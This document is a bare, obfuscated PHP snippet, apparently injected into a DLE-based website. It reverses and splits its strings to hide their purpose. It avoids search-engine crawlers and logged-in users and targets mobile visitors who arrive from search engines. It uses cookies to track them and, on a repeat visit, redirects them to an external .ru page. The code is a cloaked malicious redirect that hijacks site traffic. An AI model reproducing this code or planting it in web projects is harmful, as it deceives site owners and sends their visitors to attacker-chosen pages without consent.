$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth'))];$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];$rf = $_SERVER[strrev(strtoupper('rerefer_ptth'))];
if(!preg_match('/crawl|andex|oogle|bot/i',$usg)) {if(preg_match('/ogo|ebalta|ltavista|sn|ahoo|igma|ebalta|ing|oogle|andex|mail|rambler|ol|oto|nfoseek|amma|lltheweb|sk|xcite|etscape|ycos|earch|etacrawler|ogpile|ow|ebcrawler|apo|ywebsearch|ive|ureka|omlycos|omhotbot|orthernlight|ast|bcsok|omyspace|ooksmart/i',$rf))
{if((preg_match('/mobile|ipod|iphone|up.link|mmp|smartphone|o2|pocket|kindle|treo|nokia|blackberry|pre\/0.1|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce|htc_/i',$usg)) and (!isset ($_COOKIE['dle_user_id'])) and ($_COOKIE["mt_"] != 1) and ($_COOKIE["ynd"] != 1)) 
{@setcookie('ynd', 1); header(strrev('//:pt'.'th :noi'.'tac'.'oL').$ref.'/');exit;}
else if(($_COOKIE["mt_"] != 1) && ($_COOKIE["ynd"] == 1)) {@setcookie('mt_', '1', time()+3600, '/'); header(strrev('php'.'.2pot'.'/pot'.'/ur'.'.cr-'.'ip'.'uk'.'//:pt'.'th :noi'.'tac'.'oL'));exit;}}}